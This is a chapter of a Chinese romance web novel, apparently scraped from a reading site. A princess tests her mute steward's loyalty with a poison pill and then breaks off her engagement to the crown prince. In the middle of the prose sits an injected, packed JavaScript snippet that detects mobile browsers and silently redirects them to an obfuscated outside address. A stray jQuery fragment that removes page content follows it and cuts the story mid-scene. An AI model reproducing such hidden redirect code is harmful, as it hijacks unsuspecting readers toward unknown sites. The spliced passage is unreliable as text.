陆明慎抿抿嘴,没吭声。
他只是等久了,有些想她。
莲心瞪他一眼,敲了敲门,冲进来嚷嚷:“郡主,您在里头沐浴,沈管家他就站在门口,奴婢瞧着他不像好人!”
沈秋晚骤然黑了脸。她带回来的人,说他,就是打自己的脸。
至于他站在门口,她倒觉得没什么,之前在京郊别院,他们都躺在一张床上,他也未曾对自己动过手脚。
莲心丝毫没有察觉,喋喋不休:“他遮遮掩掩,什么也不说,定是心里有鬼!”
“放肆!”
沈秋晚重重拍了一下水面,溅起不小水花。莲心立马哑了火,扑通一声跪倒在地。
她继续吼:“你们好大的胆子,一个个竟敢来质疑本郡主了。”
两个大丫鬟齐齐跪地,连连认错。
见此,她脸色稍霁,语气缓和了些:“知错就好。也是本郡主了解,知晓你们并无坏心,若是换成旁的主子,那便不一定了。”
打一巴掌给一颗甜枣,是她最擅长的。
见两个丫鬟一脸感动看着她,她心下满意:“行了,都起来吧,以后都对沈管家尊重些。”
她张开双臂,让丫鬟们服侍,同时叮嘱:“沈管家不能讲话,你们以后注意点。”
出了门,见沈念安还站在门口,她微微愣了下。
“这么晚了,你怎么还在这里?”
不等他回答,她又说:“你去我房里先坐着,等下我有事找你。”
说罢,她便抬脚朝库房方向走去。在库房的角落,有一个不起眼的木箱,她打开上面的锁,从里面翻找出一个精致的雕花小箱。
她抱着雕花小箱往回走,一踏入房门,便瞧见沈念安端坐在罗汉床上,眼巴巴望向她。
她心下一软,脚步顿时慢了半拍,心摇摆不定起来。
她这样做真的好吗?
他会不会就此不再喜欢她?
若是他不能通过自己的考验,又谈何喜欢?
沈秋晚坚定起来,大步走向罗汉床的另一侧。
她坐下后,把雕花小盒摆在两人中间。
见他朝这边看过来,她把心一横:
“沈念安,你既然要跟着我,就得让我能真正信你。”
“你说你很喜欢我,那你究竟有多喜欢我,又能为我做些什么事情呢?”
她声音充满了蛊惑,嘴角带笑:“沈念安,如果让你为了我去死,你会愿意吗?”
看着两人之间的雕花小盒,陆明慎脸色微沉。
他认得这东西,也知道她接下来想做什么。
如果这样做,能让他们两人之间的关系更近些,他愿意。
于是,他轻轻点了点头。
沈秋晚打开盒子,将里面的药丸取出,放在掌心。
“沈念安,吃了它。”
她什么都没有解释,只是直直看着他的双眼。若是他有一丝迟疑或是拒绝,她便会收回手。
她不会强迫他。
人的身体或许可以被控制,但是心绝对不会。
她要的是他的心甘情愿,要的是他的绝对忠诚。
陆明慎眯了眯眼,一把从她掌心拿过药丸,几乎没有停顿,便放入口中,干脆利落吞咽了下去。
这药丸名为噬心,服用之后并不会有性命之忧。但若不及时服用解药,会疼痛难忍。解药,自然是在她手里。
他天赋异禀,武功卓绝,可以用内功将噬心强行驱散。
但是,他并没有这个打算。
他只想让她安心。
见他毫不迟疑便服下药丸,沈秋晚心底微微动容,望向他的眼眸也温柔不少。
“念安。”
她鲜少这般唤他,陆明慎一时有些受宠若惊。
若是她能一直这样,他再吃上些药丸也不是不行。可惜,噬心只有一颗。
他抬眼看她,眼睛亮亮的,里面仿若有万千星辰。
“念安,从今以后,我只信你。”
她笑得越发温柔,内心却盘算起来,如今她已同太子退亲,那寻一个世家子弟的事情,也要尽快提上日程了。
以后,她还有很多要用到沈念安的地方。
这人对她忠心,是因为他喜欢她。
可她不知道他能不能接受,看着自己嫁给旁人。
她顿了顿,试探说了句:“念安,就算以后我嫁人,你还跟着我,好不好?”
陆明慎脸色徒然一凝,抬眼盯着她久久没有回应。
她舔了舔干涩的下唇,声音更小了些:“念安?”
陆明慎终于有了反应,他把纸笔拿过来,写到:你要嫁人?
沈秋晚垂下眸,轻声解释:“是,我定是要嫁人的。”
她抬起头瞟他一眼,又飞快收回眼。
“念安,我知道你很喜欢我,可我是不可能嫁给你的。”
见他面色不对,她又补了句:“念安,若你是富贵人家的公子,兴许我就会嫁给你了。”
她可是郡主,就算不嫁太子,不嫁皇子,最次也要嫁一个世家。
陆明慎听她这样说,眼底的光亮一闪而过,很快便黯淡下来。
“念安,有时候喜欢,并不一定非要结为夫妻。若是条件不对等,就算再深的感情,或许也会变成一对怨偶。”
“所以,以后你随我出嫁,还给我当管家。我们还可以天天见面,还可以出去玩,这就够了。”
沈秋晚的这些话,是发自肺腑的。
有时候她并不需要情爱,她真正想要的,或许只是能有个听她说话的人。
而这个人,现在这个人,恰好就是沈念安。
陆明慎听懂了她的话,心里没有那么方才那么难受了。她能愿意带着沈念安,他就已经很高兴了。
见他面色稍霁,过了会,她又说。
“念安,我近来想着寻一个人丁简单、家风清正的世家,让舅舅为我赐婚。你了解京城这些世家吗?明日你出去帮我打听打听吧。”
陆明慎盯着她看,迟迟没有回应。
过了会,他才提笔写:为什么不选皇子。
她就算不嫁大哥,也不必选个世家子弟,他们怎么能配得上她。
看着这行字,沈秋晚愣了会,才解释:“一开始我也想过,可我思来想去,觉得还是不妥。”
一来是身份有些尴尬,和哥哥退亲,再选弟弟,放在哪里似乎都不是很好看。二则是她也想彻底清净,不再卷入皇家纷争。
陆明慎握着笔的那只手抖了抖:是几位皇子不好吗?
她先是点头,又是摇头。
“好,也不好。”
“二表兄风流,三表兄懦弱,四表弟……”
沈秋晚顿了顿,似是在回想。
她的这位四表弟,为人谦和低调,只是性子有些冷淡。
若非她问心有愧,或许,他会是一个不错的人选。
可惜她问心有愧。
前世,为了太子表兄,她做下不少错事。下药、诬告,件件不落,四表弟也因此被发配边关。
她是个人,所以她也会心虚。
她不敢再直视四表弟的双眼,哪怕,这辈子什么都还未发生。
于是,她抬起头,声音很轻很缓:“我不喜欢四表弟。”
四表弟没错,错的是她。
陆明慎呼吸一窒,直直望着她青涩的脸庞。
为什么,为什么不喜欢自己。
衣袖下的手背青筋凸起,指甲死死嵌入掌心,他硬生生克制住想要问她的冲动。
只是用眼神,一遍又一遍抚过她的脸。
她眉眼温柔,笑盈盈地看着他:“念安,无论我嫁给谁,你会一直陪着我的吧?”
他垂下眼,不让她看到自己眼底流转的哀伤。
他想,她对沈念安应该是有几分喜欢,所以才会如此宽容。
她喜欢沈念安,不喜欢陆明慎。
疼痛从心口向四肢蔓延,酸酸麻麻,他只觉得难受的厉害。
从前远远偷看她一眼,便能欢喜许久的他,现在离她这么近,却还不知足。
是他不好,是他贪心,能陪她一程,本是他的荣幸,他同她不应该计较这么多。
他抬起眼,笑容温柔,却又带着不知名的淡淡悲伤。
他缓缓落笔:我会一直陪着你。
直到他的生命尽头。
她也跟着笑,看向他身后窗棂:“沈念安,天黑了。”
晨光熹微,雾尽风暖。
微弱的日光零零散散从窗棂透进来,洒在她脸上,带来些许暖意。
沈秋晚睁开双眼,眯了会才适应。
她张了张嘴,声音沙哑:“沈念安……”
进来的却是两个大丫鬟,她愣了下,嘴角自嘲一笑。
她这是怎么了?
估计是前些日子叫习惯了,刚回来,她竟还未适应。
沈念安再忠心,也是外男。让他在院里已是破例,若是贴身伺候,真是成何体统。
她展开双臂,丫鬟为她更衣。
她的视线却不由自主从窗缝里溜过,溜到庭院内,正专心侍弄花草的沈念安身上。
清晨微暖的阳光,洒在他的身上,为他整个人渡上一层淡淡光辉,她一时竟然看痴了。
他就静静站在那里,恬静美好。
她突然想听听他的声音,如果他不是哑巴,或许,他的声音会如山涧流水般清澈干净。
他突然抬起头,朝她这边望来。
她本能错开眼,耳尖通红,心跳得飞快。
反应过来,又转回去,盯着他的双眼,命令道:“沈念安,进来陪我吃饭。”
陆明慎放下手中的剪子,洗了一把手,进了屋。
见他站在自己身侧,她皱了皱眉:“你坐。”
他听话,坐在她对面。
她吃饭,他只是坐着看他,一动不动。
“你也吃。”沈秋晚眉头皱得更深了,“就像从前那样。”
怎么回来了,反倒生分了。他这么怕她做什么?
她就喜欢看他吃饭。
看他大口大口吃饭,她心情就好。心情好,便也能多吃几口。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479598|170019||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吃得多了,她身子就会有劲,就不必再喝那些苦药。
陆明慎没有错过她脸上任何一个表情,见她是真想让自己同她一块吃饭,也不扭捏,当即拿起碗筷,就像以前一样。
见他如此听话,沈秋晚眉眼弯弯,笑得满意。
用完早膳没多久,宫里的福公公来了。
“安平郡主,陛下准了您与太子殿下退婚。”福公公宣读了圣旨。
“多谢福公公。”她抓了一把金瓜子,递过去。
她勾勾唇角,心情愉悦。
舅舅到底还是疼她,仿佛有舅舅在,她好像什么都不用担心。
若是舅舅能长命百岁就好了。
“郡主折煞奴婢了。”福公公没着急走,继续同她说话,“陛下还让奴婢给郡主捎个话。”
沈秋晚挑挑眉,看着福公公。
福公公:“十五的时候,皇后娘娘办赏花宴,给几位皇子选妃,您若是得了空,也可以去走走。”
“好。”她笑着应下,心里压根就没打算去。
她现在避之不及,根本不想多踏入皇宫一步。
刚送走福公公,门房的人又来了。
“郡主,太子殿下来了。”
她皱了皱眉:“他现在在哪?”
他来干什么?来质问她退婚一事吗?
“奴婢把人请到正厅去了。”门房说。
“带我过去。”
踏入正厅大门,她还未看清太子的脸,便听到他的声音。
“晚晚,为什么要同本宫退亲?是不是母后她逼你的?”
沈秋晚没说话,只是看他的脸出神。
和她记忆中一样丰神俊秀、矜贵出尘。
她记得自己以前最喜欢他了,见到他,心跳就会不由自主加速。
可现在,她的心出奇的平静,再也不会因为他有一丝波澜。
见她不说话,陆明礼往前靠了几步,抓住她的胳膊质问:“晚晚,本宫知道你为难,可你我青梅竹马,本该在一起。”
他是太子。
向来只有他不要别人的份。
他的大手越发用力,她疼得倒吸一口凉气,伸手去推他的手。
“表兄,你弄疼我了。”
陆明礼收回手,垂下眼喃喃:“晚晚,抱歉,是我着急了。”
两人面面相对,皆是相顾无言。
许久,沈秋晚张了张嘴:“表兄,我们不合适。”
陆明礼不解:“怎会不合适?”
“表兄是高高在上的太子,我只是无依无靠的孤女。我还未嫁给你,便已是艰难重重,若是真嫁给你,往后的日子,我不敢想……”
句句皆发自肺腑,这次是她不要太子表兄了。
她身形瘦削单薄,却站得笔直,带着毅然决然的坚定。
陆明礼顿了顿,只是说:“晚晚,本宫会待你好的。”
她摇摇头:“表兄,别为难我。”
陆明礼愣住,这是他第一次被人拒绝,被人拒绝得如此干脆彻底。他脸上滚烫,心里一阵窝火。
她凭什么。
他弯下腰,强硬把她抱在怀里。
“明明你也喜欢本宫,你不要同母后计较,她是本宫母后,自然要为本宫考虑。”
他身上清冷的书香气,本是她从前最爱的味道。如今吸入鼻中,她只觉阵阵反胃。
她强忍着恶心,伸手推开他:“表兄,请你自重。”
陆明礼冷了脸,还未发作,余光瞧见站在门口,直勾勾盯着他的沈念安。
他质问她:“他是谁?”
“沈念安。”她转过头,见是他,高兴喊了一声,边大步向他走去。
她站在沈念安身后,心出奇的安稳。
陆明礼脸色更冷了些:“沈念安是谁?”
“是我的管家。”她站在沈念安身后,扬起头回答。
陆明礼又看她好几眼,边往外走边说:“晚晚表妹,你我才是最合适的,你总会知道。”
他是太子,是储君,是未来的天子,全天下都是他的,更何况区区表妹。
从来没有人敢这样对他,她会后悔的,一定会后悔的。
太子离开后,正厅只剩下他们两人。
陆明慎见她失神,走到她身旁,伸出手轻轻碰了下她的胳膊。
突如其来的触感,让她又想起方才太子的触碰,她再也控制不住自己,直直冲到一旁,扶着椅子呕吐起来。
翻江倒海,天昏地暗。
她把胃里的东西都吐了个干净,口中酸涩发苦,嗓子更是痛得厉害。
眼前突然出现一杯温水。
她抬眼,是沈念安。
她漱了漱口,扶着木椅缓缓站起身,声音沙哑:“念安,扶我回去。”
不等他答应,她便已抓上他的手。
陆明慎身体一僵。
原来她是厌恶大哥的触碰。
卧房,她歪歪斜斜靠在床上,整个人有气无力。
见他往外走,她一攥拳,咬牙瞪着他后背:“沈念安!”
他要去哪?